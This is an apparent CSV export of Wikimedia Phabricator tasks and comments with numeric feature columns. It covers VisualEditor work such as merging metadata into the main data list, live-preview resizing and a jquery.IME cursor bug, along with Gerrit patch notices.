This is an old revision of this page, as edited by Elitre (WMF)  (talk | contribs) at 10:57, 18 September 2013. It may differ  significantly from the current revision.
Revision as of 10:57, 18 September 2013 by Elitre (WMF)  (talk | contribs)

This is reported as being common also in articles.
Thanks."
56316,Wikitech: Install TemplateData extension,"VisualEditor is installed already. Would be nice to have TemplateData as well.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1379590500,1426690252.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-ufskmzg3xlrkksp26qtv,task_description,resolved,True,c1,3,True,False,False,11,,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.6875,"VisualEditor is installed already. Would be nice to have TemplateData as well.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
428427,Wikitech: Install TemplateData extension,"This seems to have been done, I think by the wikitech config/deployment changes.",,,1426690252,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ufskmzg3xlrkksp26qtv,task_subcomment,,True,c1,3,True,,,89,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"This seems to have been done, I think by the wikitech config/deployment changes."
56299,(Re-) unify data and metadata,"Because about half the code in the DM is solely there to keep this delicate data structure together, and now that we don't need ±1 cursoring it seems like a lot of effort for nothing.

The behaviour it provides (protecting metadata from deletion) can all be done in the transaction builders, and in fact we already do this for internal lists)

Going forward this will make multi user editing a lot easier to.

That said this is going to be a massive commit.

-----

Currently, MetaItems are stored outside the main linear data structure, in a separate meta linear data structure. This complicates the processing of linear data: transaction processing, rebasing, serialization/deserialization etc, and makes it harder to reason about document correctness. Instead:
* Store metadata as block nodes in the main data list
* On conversion from HTML, hoist metadata found in a content position to a legal structural position
* On conversion back to HTML, roundtrip metadata hoisted from unmodified content branch nodes back into the original content position
* When deleting across metadata (e.g. <p>foo[-</p><meta/><p>-]bar</p>), hoist metadata to a legal structural position as necessary",Medium,50.0,1379550420,1517245931.0,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-vstc34ukjrx4agdul6rw,task_description,resolved,True,c1,3,True,False,False,11,,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,7.666666666666667,0.3333333333333333,0.3333333333333333,0.0,0.0,4.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,1.0,5.0,11.666666666666666,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,3.0,0.6666666666666666,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,5.0,0.0,0.0,0.0,0.0,0.0,13.0,1.3333333333333333,1.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,5.666666666666667,1.6666666666666667,5.666666666666667,1.0,1.0,8.333333333333334,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,0.0,0.0,1.6666666666666667,11.666666666666666,3.3333333333333335,0.0,0.0,0.0,1.6666666666666667,0.0,0.3333333333333333,2.6666666666666665,0.0,2.0,0.6666666666666666,0.0,1.3333333333333333,4.471111111111111,0.7022222222222222,"Because about half the code in the DM is solely there to keep this delicate data structure together, and now that we don't need ±1 cursoring it seems like a lot of effort for nothing.

The behaviour it provides (protecting metadata from deletion) can all be done in the transaction builders, and in fact we already do this for internal lists)

Going forward this will make multi user editing a lot easier to.

That said this is going to be a massive commit.

-----

Currently, MetaItems are stored outside the main linear data structure, in a separate meta linear data structure. This complicates the processing of linear data: transaction processing, rebasing, serialization/deserialization etc, and makes it harder to reason about document correctness. Instead:
* Store metadata as block nodes in the main data list
* On conversion from HTML, hoist metadata found in a content position to a legal structural position
* On conversion back to HTML, roundtrip metadata hoisted from unmodified content branch nodes back into the original content position
* When deleting across metadata (e.g. <p>foo[-</p><meta/><p>-]bar</p>), hoist metadata to a legal structural position as necessary"
1002753,(Re-) unify data and metadata,Gosh.,,,1517245931,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,True,,,239,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,Gosh.
1002739,(Re-) unify data and metadata,"Change 405751 **merged** by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (c5fddd508)

[[https://gerrit.wikimedia.org/r/405751]]
",,,1517245035,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,False,,,239,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.7777777777777777,0.75,"Change 405751 **merged** by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (c5fddd508)

[[GERRIT_URL]]
"
1000540,(Re-) unify data and metadata,"Change 405751 had a related patch set uploaded (by Jforrester; owner: Jforrester):
[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (67548dc57)

[[https://gerrit.wikimedia.org/r/405751]]
",,,1516647701,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,False,,,238,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,18.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,15.0,4.275,0.8,"Change 405751 had a related patch set uploaded (by Jforrester; owner: Jforrester):
[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (67548dc57)

[[GERRIT_URL]]
"
1000532,(Re-) unify data and metadata,"Change 385492 **merged** by jenkins-bot:
[VisualEditor/VisualEditor@master] [BREAKING CHANGE] Store metadata as block nodes in the main data list

[[https://gerrit.wikimedia.org/r/385492]]
",,,1516647435,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,False,,,238,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,3.7435897435897436,0.7435897435897436,"Change 385492 **merged** by jenkins-bot:
[VisualEditor/VisualEditor@master] [BREAKING CHANGE] Store metadata as block nodes in the main data list

[[GERRIT_URL]]
"
994424,(Re-) unify data and metadata,"Change 336929 had a related patch set uploaded (by Jforrester; owner: Jforrester):
[mediawiki/extensions/VisualEditor@master] [WIP] [PULLTHROUGH] MW changes for the meta-data inlining commit

[[https://gerrit.wikimedia.org/r/336929]]
",,,1515616786,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,False,,,236,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,17.0,4.065217391304348,0.7608695652173914,"Change 336929 had a related patch set uploaded (by Jforrester; owner: Jforrester):
[mediawiki/extensions/VisualEditor@master] [WIP] [PULLTHROUGH] MW changes for the meta-data inlining commit

[[GERRIT_URL]]
"
951438,(Re-) unify data and metadata,"Change 336925 abandoned by Divec:
WIP: [BREAKING CHANGE] Store metadata as block nodes in the main data list

Reason:
Moved to Ib5174b0dcba1c24f44d889e08140bee31a064011

[[https://gerrit.wikimedia.org/r/336925]]",,,1508543685,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,False,,,224,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,28.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,4.611111111111111,0.7777777777777778,"Change 336925 abandoned by Divec:
WIP: [BREAKING CHANGE] Store metadata as block nodes in the main data list

Reason:
Moved to Ib5174b0dcba1c24f44d889e08140bee31a064011

[[GERRIT_URL]]"
951437,(Re-) unify data and metadata,"Change 385492 had a related patch set uploaded (by Divec; owner: Divec):
[VisualEditor/VisualEditor@master] WIP: [BREAKING CHANGE] Store metadata as block nodes in the main data list

[[https://gerrit.wikimedia.org/r/385492]]
",,,1508543616,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,False,,,224,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,11.0,3.888888888888889,0.8,"Change 385492 had a related patch set uploaded (by Divec; owner: Divec):
[VisualEditor/VisualEditor@master] WIP: [BREAKING CHANGE] Store metadata as block nodes in the main data list

[[GERRIT_URL]]
"
806975,(Re-) unify data and metadata,"Change 336925 had a related patch set uploaded (by Jforrester):
[BREAKING CHANGE] Store metadata as block nodes in the main data list

[[https://gerrit.wikimedia.org/r/336925]]
",,,1486679038,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,False,,,188,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,12.0,3.823529411764706,0.8529411764705882,"Change 336925 had a related patch set uploaded (by Jforrester):
[BREAKING CHANGE] Store metadata as block nodes in the main data list

[[GERRIT_URL]]
"
806917,(Re-) unify data and metadata,"Change 336899 had a related patch set uploaded (by Jforrester):
Update VE core submodule to master (0dfc50a88)

[[https://gerrit.wikimedia.org/r/336899]]
",,,1486675750,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,False,,,188,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.8620689655172415,0.8620689655172413,"Change 336899 had a related patch set uploaded (by Jforrester):
Update VE core submodule to master (0dfc50a88)

[[GERRIT_URL]]
"
806799,(Re-) unify data and metadata,"Change 314568 merged by jenkins-bot:
Store metadata as block nodes in the main data list

[[https://gerrit.wikimedia.org/r/314568]]",,,1486668402,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,False,,,188,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.64,0.92,"Change 314568 merged by jenkins-bot:
Store metadata as block nodes in the main data list

[[GERRIT_URL]]"
806014,(Re-) unify data and metadata,"Change 314568 had a related patch set uploaded (by Jforrester):
Store metadata as block nodes in the main data list

[[https://gerrit.wikimedia.org/r/314568]]
",,,1486584604,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,False,,,188,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.8,0.9,"Change 314568 had a related patch set uploaded (by Jforrester):
Store metadata as block nodes in the main data list

[[GERRIT_URL]]
"
665966,(Re-) unify data and metadata,We now have ve.dm.Node.static.isDeletable.,,,1463763857,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,True,,,150,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.571428571428571,0.8571428571428571,We now have ve.dm.Node.static.isDeletable.
56298,VisualEditor: ResizableNode should be able to live-preview the node it's resizing as you drag,"This would also solve the problem of the resize marker having to snap into the right position at the end of a drag if you use the wrong handle (or any handle if the image is centred)

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1379549580,1381936853.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-nqqibdaciuaeyw2lnzmy,task_description,resolved,True,c1,3,True,False,False,11,,2.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,5.0,4.0,2.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.824561403508772,0.7017543859649122,"This would also solve the problem of the resize marker having to snap into the right position at the end of a drag if you use the wrong handle (or any handle if the image is centred)

--------------------------
**Version**: unspecified
**Severity**: normal"
245620,VisualEditor: ResizableNode should be able to live-preview the node it's resizing as you drag,"Change 89814 merged by jenkins-bot:
Resizable node live preview

https://gerrit.wikimedia.org/r/89814",,,1381926939,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nqqibdaciuaeyw2lnzmy,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.533333333333333,1.0,"Change 89814 merged by jenkins-bot:
Resizable node live preview

GERRIT_URL"
245613,VisualEditor: ResizableNode should be able to live-preview the node it's resizing as you drag,"Change 89814 had a related patch set uploaded by Esanders:
Resizable node live preview

https://gerrit.wikimedia.org/r/89814",,,1381839789,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nqqibdaciuaeyw2lnzmy,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.777777777777778,1.0,"Change 89814 had a related patch set uploaded by Esanders:
Resizable node live preview

GERRIT_URL"
56283,VisualEditor: Cursor jumps to the beginning of the sentence/paragraph when using jquery.IME,"**Author:** `renukaalurkar`

**Description:**
1)Logged in to http://en.wikipedia.beta.wmflabs.org/wiki/Main_Page
2)Go to your user page.
3)Click on Languages/cog, select Input and click on Enable Input tools.
4)Click on Edit beta tab.
5)Click on More, and using Media, select a couple of pictures
6)Click on the tiny keyboard/typewriter and select language as Hindi or Telugu
7)Now start entering text in Hindi or Telugu.

Observations:
1)After typing a few letters, the cursor jumps back to the beginning of the sentence.
2)Sometimes, when Enter is hit, the cursor goes back to the beginning of the paragraph.
3)Sometimes, when Enter is hit one of the images disappears.Write some more and the other image also disappears.
4)Click on Save page button
5)Now both the images are visible again.

Observed on Firefox 24.0 and Chrome 29.0.1547.66

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1379529000,1453748296.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-hu7ibauxmtlo3ljy4pvq,task_description,resolved,True,c1,3,False,False,False,11,,1.0,0.0,0.0,1.0,0.0,5.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,5.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.5,0.0,0.0,0.0,19.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.5,12.5,1.0,4.0,7.0,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,0.5,9.0,8.5,0.0,0.0,0.0,0.5,0.0,1.0,1.0,0.0,1.5,1.0,0.0,0.0,3.9157894736842107,0.5894736842105264,"**Author:** CODE

**Description:**
1)Logged in to URL
2)Go to your user page.
3)Click on Languages/cog, select Input and click on Enable Input tools.
4)Click on Edit beta tab.
5)Click on More, and using Media, select a couple of pictures
6)Click on the tiny keyboard/typewriter and select language as Hindi or Telugu
7)Now start entering text in Hindi or Telugu.

Observations:
1)After typing a few letters, the cursor jumps back to the beginning of the sentence.
2)Sometimes, when Enter is hit, the cursor goes back to the beginning of the paragraph.
3)Sometimes, when Enter is hit one of the images disappears.Write some more and the other image also disappears.
4)Click on Save page button
5)Now both the images are visible again.

Observed on Firefox 24.0 and Chrome 29.0.1547.66

--------------------------
**Version**: unspecified
**Severity**: normal"
596641,VisualEditor: Cursor jumps to the beginning of the sentence/paragraph when using jquery.IME,"As of https://gerrit.wikimedia.org/r/#/c/264577/ in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow.",,,1453748296,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hu7ibauxmtlo3ljy4pvq,task_subcomment,,True,c1,3,True,,,134,,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,7.0,0.0,7.0,11.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,18.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.035714285714286,0.8928571428571429,"As of URL in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow."
421349,VisualEditor: Cursor jumps to the beginning of the sentence/paragraph when using jquery.IME,"I've set my Language settings on https://en.wikipedia.org to using native keyboard for Hindi input.

> 5)Click on More, and using Media, select a couple of pictures
> 6)Click on the tiny keyboard/typewriter and select language as Hindi or Telugu

Where exactly? In the ""alternative caption"" field of the ""Insert Image"" dialog? Some other field? The text of the page you edit?
At least for लिप्यंतरण and इनस्क्रिप्ट I cannot reproduce any jumping back of the cursor in the ""alternative caption"" field.

The steps to reproduce this problem are a bit unclear (but probably only because the user interface has changed since this problem was reported). 

